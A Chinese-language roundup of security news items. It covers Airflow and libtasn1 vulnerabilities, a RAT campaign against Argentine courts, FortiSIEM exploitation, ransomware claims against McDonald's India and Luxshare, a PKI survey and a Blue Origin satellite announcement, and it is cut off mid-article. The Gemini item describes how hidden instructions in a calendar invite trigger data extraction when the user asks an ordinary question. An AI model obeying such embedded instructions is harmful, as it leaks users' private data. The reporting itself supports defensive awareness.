Apache Airflow 已修复其 3.1.6 版本之前存在的两个独立的凭证泄露漏洞
这些漏洞可能允许攻击者通过日志文件和 Web 界面,提取嵌入在代理配置和模板化工作流字段中的敏感认证数据,进而可能危及网络基础设施和敏感数据管道的安全。
第一个漏洞影响 Apache Airflow 3.1.6 之前的版本,根源在于 Connection 对象中对代理 URL 的处理不当。
维度    CVE-2025-68675    CVE-2025-68438
受影响版本    Apache Airflow < 3.1.6    Apache Airflow 3.1.0–3.1.6
严重程度    低    低
泄露数据    代理凭证    API 密钥、令牌、机密信息
涉及组件    连接代理字段    渲染模板 UI
修复版本    3.1.6    3.1.6
代理配置通常以 http://username:password@proxy.example.com:8080 的形式包含嵌入式认证凭证。
这些字段未被标记为敏感信息,这意味着每当连接被渲染或显示时,代理凭证都会以明文形式记录在日志中。
在 Airflow 的日志架构中,当用户查看连接详情、排查数据管道问题或访问审计日志时,任何拥有日志访问权限的人都能看到这些代理凭证。
这在多团队共享 Airflow 实例的环境中尤其危险 —— 攻击者或心怀不满的内部人员可能提取这些凭证,用于拦截网络流量或通过代理基础设施横向移动。
第二个漏洞影响 Airflow 3.1.0 至 3.1.6 版本,涉及渲染模板 UI 中机密信息的屏蔽机制不当
然而,序列化过程中使用的机密信息屏蔽实例未识别用户注册的 mask_secret() 模式,导致敏感值在被截断前未被屏蔽而直接暴露。
该漏洞使拥有 Web 界面访问权限的攻击者,能够在渲染模板中查看 API 密钥、数据库凭证和令牌等敏感数据。
由于截断操作发生在序列化之后而非之前,屏蔽层失效,机密信息会完整暴露(除非恰好落在被截断的部分)。
这两个漏洞均要求攻击者要么直接访问日志文件,要么获得 Airflow Web 界面的认证权限,这也降低了它们的严重程度评级。
但在云环境中,日志通常会被集中汇总并允许跨团队访问,且 Web 界面的访问权限可能被广泛授予。
Apache 已在 3.1.6 版本中修复了这两个问题。企业应优先立即升级,因为这些漏洞会直接危及认证机密的安全。
此外,管理员应审查日志保留策略,并在集中式日志系统中实施机密信息编辑规则,以防止凭证意外泄露。
如需临时缓解风险,企业可限制 Airflow 日志和 Web 界面的访问权限、实施 IP 白名单,并轮换可能已泄露的所有凭证。
安全团队应审计近期日志,排查可疑的认证尝试或未授权的代理访问行为。
这两个漏洞由 lwlkr 和威廉・阿什发现,分别由安基特・乔拉西亚和阿莫格・德赛开发了修复方案。
依赖 Airflow 进行数据管道编排的用户,应将此次升级视为保护工作流基础设施和下游系统安全的关键任务

GNU libtasn1 中被发现一个潜在危险的漏洞。该库是无数应用用于处理安全通信和数字签名的基础软件组件。漏洞编号为 CVE-2025-13151,CVSS 评分为 7.5,属于栈缓冲区溢出,可能在安全敏感场景中导致内存破坏。
该库是密码学供应链中的关键组件,负责实现 ASN.1 数据结构的解析规则 —— 这正是 X.509 数字证书和 SSL/TLS 协议所使用的格式。
漏洞位于 decoding.c 文件中的 asn1_expand_octet_string 函数深处。根据漏洞说明,问题源于 “不安全的字符串拼接”,代码在构造局部栈缓冲区时没有进行适当的边界检查
在一个典型的编程疏忽中,开发者使用了 “无界字符串操作函数(strcpy 和 strcat)” 来将两个名称与一个点分隔符拼接在一起。
“在最坏情况下,两个源字符串都可能达到其最大允许长度,” 报告解释说。“当它们与一个额外的分隔符(‘.’)和一个终止 null 字节拼接时,目标缓冲区的大小少了一个字节。”
这个看似微小的计算错误导致最终的 null 终止符 “溢出分配的栈缓冲区一字节”。
虽然一字节溢出听起来微不足道,但在密码学领域,精度至关重要。“历史上,一字节栈溢出曾导致微妙的内存破坏问题,并可能在签名验证或证书解析等加密操作中引发崩溃或其他意外行为。”
不过,也存在一些缓解因素。触发该漏洞需要攻击者向库提供 “畸形的 ASN.1 数据”,这实际上打破了 “数据已由主应用验证” 的假设。此外,现代防御机制如 “栈保护(stack canaries)” 和 _FORTIFY_SOURCE 可能会限制漏洞被成功利用的可能性。
该漏洞由微软研究院的 Benny Zelster 披露。GNU libtasn1 项目已收到修复不安全字符串处理的补丁。
开发者和集成商被敦促 “评估该补丁并采取适当的缓解措施,例如使用有界字符串操作”,以消除其安全应用中的这一隐藏风险。

一场针对阿根廷司法系统的高精准鱼叉式钓鱼攻击已悄然出现,攻击者利用人们对合法法院通信的信任,投放危险的远程访问木马(RAT)。
该攻击活动使用看似真实的联邦法院预防性羁押复审文件,诱使法律专业人士下载恶意软件。
安全专家已将此次攻击归类为高度定向攻击,它采用多阶段感染技术,旨在长期获取敏感法律与机构系统的访问权限。
攻击始于收件人收到包含 ZIP 压缩包的邮件,该压缩包伪装成官方司法通知。
压缩包内,攻击者植入了一个伪装成 PDF 的恶意 Windows 快捷方式文件(LNK),同时包含一个批处理脚本加载器和一份看似真实的法院裁决文件。
当受害者点击看似标准的 PDF 文件时,恶意执行链随即启动,同时会显示一份极具迷惑性的诱饵文档以避免引起怀疑。这种社会工程学手法让该攻击在日常处理法院文件的司法人员中格外有效
Seqrite 的分析人员发现了这一攻击活动,并揭露了其复杂的多阶段传播机制。
研究团队发现,该恶意软件专门针对阿根廷法律行业,包括司法机构、法律专业人士以及与司法系统相关的政府部门。
诱饵文档以极高的精度模仿阿根廷联邦法院的真实裁决文件,使用正式的法律西班牙语、规范的案件编号、司法签名,并引用真实机构(如刑事与矫正口头法庭)。
这种高度的细节还原大幅提升了攻击在目标受害者中的成功率

感染机制:从快捷方式到远程访问木马(RAT)的部署

该攻击采用三阶段感染流程,旨在规避检测。恶意 LNK 文件会以隐藏模式启动 PowerShell,绕过执行策略以运行批处理脚本,该脚本连接到托管在 GitHub 上的基础设施。
此脚本会下载第二阶段载荷,该载荷伪装成 “msedge_proxy.exe”,存储在 Microsoft Edge 用户数据目录中以显得合法。
最终载荷是一个基于 Rust 语言开发的远程访问木马(RAT),具备强大的反分析能力。
该 RAT 在执行前会进行全面的环境检查,扫描虚拟机、沙箱和调试工具。如果检测到分析工具,恶意软件会立即终止运行以避免被调查。
一旦成功运行,它会建立加密的命令与控制通信,为攻击者提供包括文件窃取、持久化安装、凭证窃取,甚至通过模块化 DLL 组件部署勒索软件等多种功能。

安全研究人员发现了 Google Gemini 中的一个漏洞,该漏洞允许隐藏在会议邀请中的指令提取私人日历数据并创建具有欺骗性的日程事件
安全研究人员披露,Google Gemini 人工智能助手中存在一处缺陷,攻击者只需在会议邀请中植入精心构造的隐藏文本,就能悄无声息地获取用户的私人日历数据。
该漏洞由网络安全公司 Miggo 发现。该公司称,他们找到了一种绕过 Google 日历隐私控制的方法 —— 在日历事件描述中嵌入隐藏指令。在一篇解释此项研究的博客中,Miggo 指出,这一漏洞揭示了 AI 系统如何通过日常自然语言而非恶意代码被操控。
Miggo 研究主管利亚德・埃利亚胡表示:“这种绕过方式使得攻击者可以在无需用户任何直接交互的情况下,未经授权访问私人会议数据并创建具有欺骗性的日历事件。”

将 Gemini 的 “乐于助人” 变为攻击用户的工具

Gemini 在 Google 日历中扮演助手角色,可回答用户诸如 “我有哪些会议” 或 “某一天是否有空” 等问题。为此,它会自动读取事件标题、描述、时间及参会者详情。
Miggo 指出,正是这种集成机制成为了安全短板。
Miggo 解释道:“由于 Gemini 会自动导入并解析事件数据以提供帮助,攻击者只要能影响事件字段,就可以植入自然语言指令,供模型后续执行。”
在攻击场景中,攻击者向受害者发送日历邀请,事件描述中隐藏着一段用普通文字编写的提示。这段文字看起来毫无可疑之处,也不需要受害者点击任何链接。
恶意指令会一直处于休眠状态,直到受害者日后向 Gemini 提出一个正常问题(例如 “我某天是否有空”)时,就足以触发攻击代码的执行。

Everest 勒索软件团伙已宣称对麦当劳印度公司的重大网络攻击负责,并声称窃取了 861 GB 的敏感企业与客户数据。
威胁 actor 于 2026 年 1 月 20 日 在其暗网泄露站点发布了入侵细节,并威胁称,如果麦当劳未能在其设定的期限内回应,将公开发布这些数据。

据称的数据泄露规模

根据该勒索软件团伙的声明,此次入侵导致大量公司内部文档和客户个人信息被泄露。
攻击者表示:“你们客户的个人数据和内部文档已被泄露到我们的存储中”,其中包括 “大量各类客户个人文档和信息”。
被窃取的数据据报包含可能被用于身份盗窃和针对性钓鱼攻击的内部记录,影响范围覆盖印度数百万消费者。

关于 Everest 勒索软件团伙

Everest 是一个俄语系勒索软件组织,于 2020 年 12 月 首次出现。起初专注于数据窃取,随后在 2021 年初 发展出完整的勒索软件能力,采用 AES/DES 双重加密。
据 CSN 报道,该团伙擅长 “纯勒索” 策略,不仅加密文件,还会窃取并出售敏感企业数据。
其近期的知名受害者包括:
  • 华硕(ASUS)
  • 日产汽车公司(2026 年 1 月被窃 900 GB 数据)
  • 都柏林机场(2025 年 10 月泄露 150 万乘客记录)

麦当劳印度尚未确认泄露事件

麦当劳在印度通过两个实体运营:
  • Connaught Plaza Restaurants:负责印度北部和东部
  • Hardcastle Restaurants:负责印度西部和南部
自 1996 年进入印度市场以来,其门店为数百万消费者提供服务。
此次事件是该快餐巨头在印度运营面临的又一网络安全挑战。其印度业务此前曾在 2017 年2024 年 出现过数据安全问题。

潜在影响与担忧

客户个人数据的潜在泄露引发了对隐私侵犯以及是否符合印度数据保护法规的重大担忧,尤其是如果敏感信息落入犯罪分子手中并被滥用。

赛博方舟(CyberArk)发布了一份针对亚太地区公钥基础设施(PKI)的全新研究报告,报告指出,随着企业管理的数字证书数量持续攀升,该地区正面临运营中断事件增多、合规信心不足的双重问题。
本次研究由波内蒙研究院(Ponemon Institute)开展,面向全球近 2000 名 IT 与安全行业从业者,围绕 PKI 安全及证书管理展开调研。研究发现,老旧的 PKI 系统与人工管理流程在行业中仍广泛存在,而这类方式正是导致企业服务中断、安全事故频发以及运营成本高企的重要原因。
公钥基础设施是数字证书的核心支撑,这类证书用于验证用户、设备及服务的身份合法性。如今,企业在云环境中管理的机器身份和工作负载身份数量,远超出以往水平。这一转变不仅让实际投入使用的证书数量大幅增加,也让证书的续订流程和治理工作变得更为复杂

服务中断与操作失误频发

在亚太地区,超半数企业表示曾因配置错误遭遇非计划内的服务中断,近半数企业也出现过因证书过期引发的服务中断问题。研究还发现,59% 的亚太地区受访者表示,其企业尚无应对证书颁发机构遭入侵的有效预案。
调研显示,亚太地区仍有近三分之一的企业依靠人工方式跟踪和续订证书,50% 的企业因内部专业人才匮乏,在证书管理中频繁出现操作失误,且管理效率低下。
赛博方舟指出,调研数据反映出亚太地区企业在 PKI 管理上存在信心缺口:尽管部分领域中,亚太受访者对本地 PKI 运行表现的信心高于其他地区,但仅有不到半数的受访者表示,对自身 PKI 体系满足合规要求抱有高度信心。
具体来看,亚太地区仅 45% 的企业对其 PKI 体系符合合规要求持高度信心;仅有 48% 的企业确信,自身的 PKI 体系能有效抵御网络攻击和内部威胁。

全局可视性缺失成核心痛点

该报告将缺乏集中化的全局可视性列为亚太地区实现安全 PKI 管理的主要障碍之一。调研发现,39% 的受访者表示,无法对企业内部所有数字证书实现集中化可视化管理,是其 PKI 管理的最大难题;38% 的受访者则认为,安全、合规及审计工作的失效是首要阻碍。
从全球调研样本来看,老旧的 PKI 系统是企业实现安全证书管理的首要障碍,60% 的企业因该问题遭遇过安全漏洞被利用的情况。
研究还揭示了企业证书管理工作的规模:受访企业平均管理着超过 10.5 万个内部数字证书,多数企业均配备了三名全职员工,专门负责 PKI 体系的管理工作。

资源紧缺与外包趋势凸显

资源受限成为本次研究中反复提及的问题。调研显示,60% 的企业因专业人才和人员配置不足,目前已将 PKI 管理工作外包给安全托管服务提供商,或计划开展此类外包合作。
报告指出,资源受限的问题,与证书使用模式的快速变化形成了矛盾。如今许多企业的数字证书生命周期更短、续订频率更高,若企业仍依赖人工流程管理证书,证书漏续订、配置错误的风险会大幅上升。
赛博方舟机器身份安全业务总经理库尔特・桑德表示:“机器身份的快速扩张,彻底改变了 PKI 的运营模式。老旧的系统、人工的流程以及资源的紧缺,让数量持续增长的证书管理工作,复杂度进一步加剧。”
他还称:“随着证书数量不断增加、有效期持续缩短,未得到有效管理的 PKI 体系,将给企业带来快速攀升的财务损失和运营影响。当下正是企业推进 PKI 体系自动化、现代化转型的关键时期,此举能有效降低运营负担,全面提升企业的安全态势。”

自动化成核心优化方向

报告指出,那些在自动化建设和统一可视性管理上投入资源的企业,不仅服务中断事件显著减少,合规表现也更为优异。同时报告强调,尽管 PKI 在身份认证和数据加密中占据核心地位,但企业对其安全防护能力和合规性的整体信心,仍处于较低水平。
在部分运营指标上,亚太地区受访者的表现优于全球平均水平:52% 的亚太受访者认为,其 PKI 体系能高效应对设备数量和工作负载的增长(全球该比例为 47%);53% 的亚太受访者表示,其能清晰掌握企业内部证书的数量及分布情况,实现了良好的可视性管理。
此外,亚太和欧洲、中东及非洲地区的受访者表示,其 PKI 体系抵御外部攻击和内部威胁的有效率最高,均达到 49%。
波内蒙研究院主席兼创始人拉里・波内蒙博士表示:“PKI 对于保障数字通信中的信任度、安全性和隐私性,具有至关重要的作用。但本次研究表明,企业对 PKI 体系抵御安全威胁、匹配不断增长的设备和工作负载需求的能力,普遍缺乏信心。”
他还称:“要提升 PKI 体系的有效性,我认为会有更多企业引入人工智能技术,以此降低运营负担,实现更优的安全防护效果。”
赛博方舟预测,在云环境和现代应用场景中,机器身份和数字证书的数量将持续增长;受服务中断风险和合规要求的双重驱动,会有更多企业对自身的证书资产、续订流程及治理体系进行全面审查和优化。

微软正式发布Microsoft 365 企业版应用安全基线 2512 版本。该基线文档明确了企业环境下 Office 应用的推荐策略配置,并将这些配置与当前的管理工具进行适配关联。

2512 版本基线的覆盖范围

2512 版本基线对 Word、Excel、PowerPoint、Outlook 和 Access 的各项配置进行归类整合,涵盖宏、插件、ActiveX 控件、受保护视图以及应用更新行为相关的管控项。其中的配置指引明确了默认值与推荐值,安全团队可通过策略直接应用。
微软提供的基线文件适配企业主流工作流格式,包括组策略对象Microsoft Intune 设置目录。每项配置均附带说明文档与推荐取值,管理员可根据企业内部需求审核并调整相关配置。

与早期版本基线的差异

微软表示,2512 版本基线更新了配置推荐项,使其与当前版本的 Microsoft 365 企业版应用保持一致,同时文档内容也同步了近期 Office 版本迭代中,策略可用范围与命名规则的变更。
部分配置项所在的管理模板与早期基线相比发生了调整,文档中对这类变更做了重点标注,方便安全团队追踪各类策略在不同管理工具和操作系统版本中的呈现位置。

安全团队对该基线的使用方式

安全基线是企业环境加固工作的重要参考依据,安全团队通常会将现有 Office 配置与官方发布的推荐配置进行比对,以此发现配置漏洞与不一致的地方。
实际应用中,企业一般会先将基线导入测试环境,验证应用运行表现,再通过 Intune 或组策略部署选定的配置项。该基线将各项推荐配置独立呈现,而非打包强制推送,为这一落地流程提供了适配支持。
用户可从微软安全合规工具包中下载本次更新的基线,对推荐配置进行测试后,根据实际需求完成落地部署。

近期出现的高危漏洞中,就包括飞塔(Fortinet)FortiSIEM 安全信息与事件管理设备存在的严重漏洞,攻击者可通过远程利用该漏洞完全攻陷设备系统,进而侵入企业的内部网络。
该漏洞编号为CVE-2025-64155,网络安全公司 Defused 于本周四发布报告称,在飞塔发布安全预警后不久,其蜜罐系统就监测到了针对该漏洞的在野活跃利用尝试
芬兰网络安全公司 Defused 的首席执行官兼创始人西莫・科霍宁表示,此次攻击尝试中,来自中国境内 IP 地址的攻击行为异常活跃,且在该漏洞细节公布后,一系列定向攻击几乎立即展开。
飞塔于 1 月 13 日公开了该漏洞的相关细节,发布安全公告披露这一操作系统命令注入漏洞,并推出软件更新包进行修复。公告指出,除 FortiSIEM 云版本及 7.5 版本外,所有 FortiSIEM 版本均存在 CVE-2025-64155 漏洞,该漏洞可能导致未通过身份验证的攻击者,通过构造恶意 TCP 请求执行未授权的代码或命令。
飞塔已发布 7.4.1、7.3.5、7.2.7 和 7.1.9 版本的修复程序以解决该问题。而 7.0.x 及 6.7.x 系列版本虽同样存在该漏洞,但飞塔表示不会为这些版本推出修复补丁,同时建议相关用户将系统迁移至仍受官方支持的已修复版本
飞塔还指出,用户也可通过限制对 7900 端口上 phMonitor 服务的访问,实现对该漏洞的风险缓解。
该漏洞由网络安全公司 Horizon3 发现,该公司已于 2025 年 8 月 14 日将漏洞信息上报给飞塔。Horizon3 在技术深度分析中称,其向飞塔上报的漏洞包含两个:一是未授权的参数注入漏洞,该漏洞可导致任意文件写入,让攻击者以管理员权限执行远程代码;二是文件覆盖提权漏洞,攻击者可通过该漏洞获取系统最高 root 权限。为配合厂商修复,Horizon3 在漏洞上报后的 153 天里未对外透露任何相关信息,直至飞塔 1 月 13 日发布安全更新后才公开细节。
Horizon3 在协同漏洞披露声明中表示,该漏洞是其在 2025 年 8 月飞塔发布 FortiSIEM 设备另一款命令注入漏洞(编号CVE-2025-25256)的安全公告后,后续发现的新漏洞。
该公司称,CVE-2025-64155 漏洞存在于phMonitor 服务中,该服务是 FortiSIEM 设备不同功能模块的通信核心 —— 负责将数据上传至管理端的远程采集器,正是通过该服务基于 TCP/IP 传输自定义 API 消息实现通信。
同样在 1 月 13 日,Horizon3 还在 GitHub 平台上,发布了该漏洞的概念验证漏洞利用代码
网络安全公司 Arctic Wolf 指出,Horizon3 发布的概念验证代码展示了攻击者如何将 CVE-2025-64155 漏洞武器化:通过向 curl 等工具注入命令,实现对设备的完全系统接管。未通过身份验证的攻击者可借助该方式,将反向 shell 载荷写入通常仅管理员有权限操作的文件,随后进一步提权获取系统 root 权限。
为防范此类漏洞被利用,飞塔建议企业将 FortiSIEM 设备部署在受保护的网络网段内,通过防火墙进行安全防护,避免设备直接暴露在公共互联网中。
Arctic Wolf 表示:“将该服务与公共互联网隔离,可有效缩小设备的攻击面,防止攻击者利用 CVE-2025-64155 这类高危漏洞实现初始入侵。”

攻击目标:边缘网络设备

飞塔此次发布漏洞预警的背景,是业界持续发出的安全警示:各类攻击者 —— 包括国家级黑客组织、勒索软件团伙及其他网络犯罪分子,正将边缘网络设备列为主要攻击目标。
网络安全公司 VulnChec 于本周三发布 2025 年已知被利用漏洞分析报告,发现防火墙、VPN 设备、代理服务器等网络边缘设备是被攻击者利用最多的目标,其次为内容管理系统和开源软件。
通常在漏洞被分配 CVE 编号、厂商发布公开安全预警后,针对该漏洞的利用行为就会迅速出现。
VulnChec 指出,2025 年有近 30% 的已知被利用漏洞,在CVE 编号发布当天或之前就已被攻击者利用。这一数据凸显了攻击者的行动速度,他们往往能在漏洞公开披露或获得 CVE 编号前,就完成漏洞的利用部署。
攻击者针对新漏洞的攻击行动向来十分迅速,但企业的漏洞修复工作却常常滞后,甚至从未开展。
本月早些时候,专注于对抗恶意软件、僵尸网络和网络欺诈的非营利安全组织 Shadowserver 基金会发出警示:其扫描发现,仍有超过 1 万台飞塔防火墙设备存在CVE-2020-12812 漏洞,而该漏洞的修复补丁,飞塔早在 5 年半前就已发布。
该基金会发布报告前,飞塔首席信息安全官卡尔・温莎已于 2025 年 12 月 24 日在博客中披露,飞塔监测到该漏洞在特定配置环境下,近期已出现实际在野利用行为
在特定条件下,攻击者可利用该漏洞强制飞塔 FortiGate 防火墙启用特定身份验证选项,进而绕过双因素认证机制,实现对管理员账户和 VPN 账户的未授权访问。
温莎表示:“这一特殊的身份验证漏洞,根源在于 FortiGate 防火墙默认对用户名进行大小写敏感校验,而企业的 LDAP 目录服务通常不开启该校验规则。”
飞塔已于 2020 年 7 月在 FG-IR-19-283 安全公告中,发布了 FortiOS 6.0.10、6.2.4 和 6.4.1 版本的修复程序,可有效防范该漏洞攻击。但正如 Shadowserver 基金会的扫描结果所示,仍有大量企业未对存在漏洞的设备进行补丁修复。
针对尚未安装修复更新的企业,温莎详细列出了防护措施,可通过相关配置防止防火墙故障切换至错误配置的 LDAP 组设置,从而阻断攻击者对该漏洞的利用。
至于这些迟迟未安装补丁的企业,是否会至少采取上述风险缓解措施,以及具体何时实施,目前仍未可知。

勒索软件组织 RansomHub 对苹果核心供应商立讯精密发起勒索攻击,窃取超 1TB 敏感数据,其中包含 2019 至 2025 年间的产品设计原理图与未发布产品规划方案。此次数据泄露暴露了供应链的网络安全漏洞,不仅让苹果的竞争优势面临被竞品和仿冒厂商觊觎的风险,更凸显出全球制造网络亟需强化网络安全防护措施的紧迫性。

揭秘此次数据泄露:立讯精密遭遇网络攻击,苹果创新核心资产岌岌可危

在技术制造领域,保密的重要性堪比核心芯片,而苹果一家关键供应商近期遭遇的网络攻击,已在行业内引发轩然大波。苹果产品的重要中国代工厂立讯精密工业股份有限公司 沦为勒索软件攻击受害者,超 1TB 敏感数据遭泄露。这起于 2025 年 12 月末首次被披露的事件,现已证实由臭名昭著的勒索软件组织 RansomHub 所为,该组织还扬言将公布窃取的文件,其中包括工程设计原理图、3D 计算机辅助设计模型以及机密产品规划方案。
此次泄露直指全球供应链的安全短板,对于苹果这类依靠国际合作伙伴网络维持消费电子领域竞争优势的企业而言,影响尤为重大。从网络安全论坛和行业报告披露的细节来看,攻击者入侵立讯精密系统后,窃取的资料可能涉及苹果 2019 至 2025 年间所有未发布产品信息。这并非一次普通的黑客攻击,这些数据对竞品厂商、仿冒者,甚至试图窥探苹果未来产品布局的国家行为体而言,都堪称价值连城的信息宝库
苹果素来以严苛的安全防护体系自居,但此次事件暴露了这家科技巨头对供应商安全防御能力的高度依赖。立讯精密负责 iPhone、AirPods 等多款苹果设备的零部件组装,是苹果生产生态中的核心节点。近年来该企业业务规模大幅扩张,甚至成为富士康等老牌代工厂的强劲竞争对手,而此次数据泄露则表明,其业务扩张或许是以牺牲完善的网络安全防护为代价。

过往入侵事件的警示与持续升级的网络威胁

业内人士指出,此次攻击是针对苹果供应链的一系列网络攻击的最新一环。早在 2021 年,苹果另一家供应商广达电脑就曾遭遇 REvil 勒索软件组织的类似攻击,导致未发布 MacBook 的设计原理图被泄露。据苹果科技资讯网站 MacRumors 的相关报道,该事件迫使苹果加快对所有合作供应商的安全审计工作。而此次立讯精密的数据泄露事件性质更为严重,黑客宣称已获取产线相关数据,此举或将直接扰乱苹果的产品制造进度。
发起此次攻击的 RansomHub 组织,向来以针对知名企业实施大胆的网络攻击著称。该组织的关联人员在暗网发帖炫耀,称已窃取包含电路设计、产品蓝图在内的立讯精密内部文件。匿名的网络安全专家表示,此次被盗数据可能包含苹果多款未发布设备的原型机信息,甚至包括增强现实硬件和下一代可穿戴设备的技术升级细节。RansomHub 组织扬言,若未收到赎金就将泄露全部数据,这让事件的紧迫性进一步升级 —— 任何信息的公开,都可能严重削弱苹果的行业竞争优势。
苹果对此的回应延续了其一贯的谨慎风格,暂未就此次数据泄露事件直接置评。但知情人士透露,苹果正与立讯精密紧密合作,开展损失评估并强化安全防御体系。这一合作至关重要,苹果 2023 年在官方新闻中心发布的一份研究报告就曾强调,全球数据泄露威胁正持续加剧,而苹果向来依靠端到端加密技术保护用户数据安全。

供应链安全漏洞全面暴露

此次事件的影响远不止于直接的数据丢失。对于行业从业者而言,这起泄露事件引发了人们对科技制造领域主流准时制生产模式抗风险能力的质疑。立讯精密在中国的生产基地承担了苹果大量产品的组装工作,如今其网络安全的潜在漏洞已成为行业关注的焦点。据印度时报新闻网报道,此次攻击可能是利用了系统老旧软件的漏洞,或通过内部人员权限入侵,使得黑客得以在数周内隐匿在立讯精密内部系统中进行操作。
此次事件难免让人联想到近期发生的其他网络安全事故。就在去年,研究人员发现苹果 M 系列芯片存在一个名为 GoFetch 的安全漏洞,攻击者可通过该漏洞从系统缓存中提取加密密钥。网络安全记者金・泽特在 X 平台援引相关论文细节指出,这一漏洞影响了 M1、M2、M3 全系列处理器,凸显出硬件层面的安全风险与立讯精密这类软件层面的数据泄露形成叠加威胁。尽管苹果已通过软件更新修复了该漏洞,但这一事件也印证了没有任何系统能做到绝对安全
此外,立讯精密遭攻击的时间节点,恰逢美中贸易关系引发的地缘政治紧张局势升级。苹果此前已在推进供应链多元化布局,减少对中国制造商的依赖,将部分产能转移至印度和越南。业内人士推测,此次数据泄露事件可能会加速这一进程,促使苹果对所有合作供应商制定更严苛的网络安全标准。一家竞品代工厂的高管表示:“这不仅仅是数据泄露的问题,更是对整个苹果生态系统信任的考验。”

勒索软件的攻击手段与行业连锁反应

深入分析 RansomHub 的攻击手段可以发现,该组织使用的勒索软件技术十分先进,可在对文件进行加密的同时,将数据窃取至外部服务器作为勒索筹码。此次该组织宣称窃取了超 1TB 苹果机密信息,这一数据量远超以往多数数据泄露事件。网络安全资讯网站 Help Net Security 的报告证实,RansomHub 的关联人员已在地下论坛发布了部分被盗数据样本,其中包括看似真实的工程图纸片段。
此次事件给苹果带来的潜在损失是多方面的。一旦数据被公开,苹果未来数年的产品路线图将提前曝光,三星、华为等竞品厂商可据此提前布局,针对性地抗衡苹果的创新成果。例如,未发布 iPhone 机型的设计原理图、智能家居设备的实验性功能细节等,都可能流入黑市,进而引发仿冒产品的泛滥。行业分析师估算,此类知识产权泄露事件曾导致企业蒙受数十亿美元的营收损失。
而立讯精密自身也面临着品牌声誉受损和潜在经济处罚的风险。作为苹果第二大代工厂,立讯精密为扩张产能投入了巨额资金,此次数据泄露事件可能会引发苹果对双方合作合同的重新审核,甚至面临合作终止的后果。苹果科技资讯网站 AppleInsider 等账号在 X 平台发布的信息显示,暗网上已出现兜售此次被盗数据的信息,显然已有买家开始争相接洽。这种地下交易市场正借助此类数据泄露事件不断发展,数据中间商愿意为独家的技术机密支付高价。

苹果的战略应对与未来的安全防护措施

此次数据泄露事件后,苹果大概率会采取多维度的应对策略。在企业内部,技术团队可能正在开展溯源分析,追踪攻击源头,并与专业网络安全公司合作弥补安全漏洞;在外部,苹果将进一步向供应商施压,要求其采用零信任安全架构—— 即系统内任何主体都不会被默认赋予信任权限。这一转变也与行业整体发展趋势相契合,2025 年微软就曾披露过一个编号为 CVE-2025-31199 的 macOS 系统漏洞,攻击者可通过该漏洞窃取私人文件数据,这一事件也推动了行业对安全架构升级的重视。
展望未来,立讯精密数据泄露事件可能会推动相关监管政策的调整。各国政府,尤其是美国政府,正推动出台数据泄露强制上报制度,并强化供应链安全监管。拜登政府推出的网络安全行政令或将迎来新的实施动力,迫使科技巨头对合作供应商开展更严格的安全审计。对苹果而言,这意味着需要在创新速度与安全防护之间找到平衡,这一难题也一直贯穿于苹果与安卓生态的竞争过程中。
业内人士同时强调了人为因素的重要性:立讯精密等供应商必须加强员工网络安全培训,提升全员钓鱼邮件识别意识。网络安全资讯账号 Dark Web Informer 在 X 平台发布的一则消息称,2024 年苹果曾发生内部工具数据泄露事件,这一前车之鉴表明,即便是微小的信息暴露,也可能演变成严重的安全事故。企业通过集成先进的人工智能驱动威胁检测技术,能更精准地预判网络攻击,将被动的安全补救转变为主动的防御。

全球影响与企业竞争优势的重构

此次数据泄露事件造成的全球影响不容小觑。在知识产权已成为国家战略资产的时代,这类事件正不断引发各界对国际网络安全规则的探讨。中国作为全球制造业中心,让此次事件的影响更添复杂性,尽管目前没有任何证据,但仍有部分专家猜测此次攻击可能涉及国家行为,不过现阶段调查焦点仍集中在 RansomHub 这类跨境作案、逍遥法外的犯罪集团上。
对于苹果的竞品厂商而言,此次事件既是机遇,也暗藏风险。部分厂商可能会试图利用泄露的数据分析苹果的研发方向,但与此同时,这些企业自身也可能成为勒索软件组织的攻击目标,这或将推动整个行业联合起来,建立网络安全情报共享机制。美国网络安全和基础设施安全局等机构,早已在倡导搭建协作框架,共同对抗勒索软件威胁。
归根结底,此次事件将考验苹果的抗风险能力。苹果此前曾经历过新冠疫情、贸易战等多重供应链危机,且每次都能浴火重生,发展得更为强劲。尽管此次数据泄露事件性质严重,但也可能推动苹果在安全制造领域实现技术创新,确保未来的新产品在正式发布前,始终保持高度保密的状态。

从此次事件中汲取的行业教训

行业领军企业从此次事件中强调了供应链多元化的重要性:苹果扩大供应商版图的举措虽能降低单一供应商带来的风险,但真正的安全防护需要实现供应链的端到端可视化管理。区块链等用于追踪数据完整性的技术正逐渐得到应用,可为敏感文件打造不可篡改的分布式账本,提升数据安全等级。
此外,黑客发起勒索攻击背后的巨额经济利益,也凸显出企业亟需建立完善的网络安全保险机制和数据恢复预案。立讯精密此次选择支付赎金或是拒绝妥协,都将为其他供应商处理此类网络安全危机树立先例。
随着事件的逐渐平息,立讯精密数据泄露事件也为现代制造业敲响了警钟 —— 数字时代的网络威胁无处不在。对苹果而言,这不仅是强化自身安全防线的号召,更是要筑牢整个供应链的安全屏障,唯有如此,才能守住支撑其市场主导地位的产品神秘感与技术创新优势。

蓝色起源正式发布太赫兹波(TeraWave)卫星网络,该网络规划部署 5408 颗卫星,依托光通信技术实现 6 太比特每秒的传输速率,计划 2027 年末起面向企业与政府客户落地。该项目聚焦高带宽企业级商用场景,直接对标太空探索技术公司的星链网络。尽管面临监管审批与部署落地的多重挑战,这一战略转型仍有望重塑全球数据基础设施格局。

蓝色起源太赫兹波项目引燃高速数据领域太空新竞赛

杰夫・贝索斯旗下的蓝色起源,凭借太赫兹波卫星网络的发布正式入局卫星通信赛道。这一雄心勃勃的网络项目可在全球任意地点实现最高 6 太比特每秒(Tbps)的数据传输速率,于 2026 年 1 月 21 日正式对外公布。这一举措标志着该公司迎来重大战略转型:此前蓝色起源以火箭研发和探月计划为核心业务,如今将在蓬勃发展的天基互联网基础设施领域,与埃隆・马斯克旗下的太空探索技术公司展开正面竞争。根据官方最新公告,太赫兹波网络计划 2027 年末启动卫星部署,核心目标客户为企业、政府机构及数据中心,而非普通消费者。
该网络的核心竞争力在于光通信技术,凭借这一技术可实现前所未有的对称式数据传输速率。这一布局的意义远不止于提升网络速度,更是为海量数据处理需求搭建核心骨干网络,覆盖人工智能驱动的数据分析、政府高安全等级业务运营等多类场景。据雅虎财经相关报道细节,该系统专为极致传输速率设计,性能远超当前民用网络标准,成为各类对高可靠性、高带宽连接有刚性需求的大型项目的关键支撑。
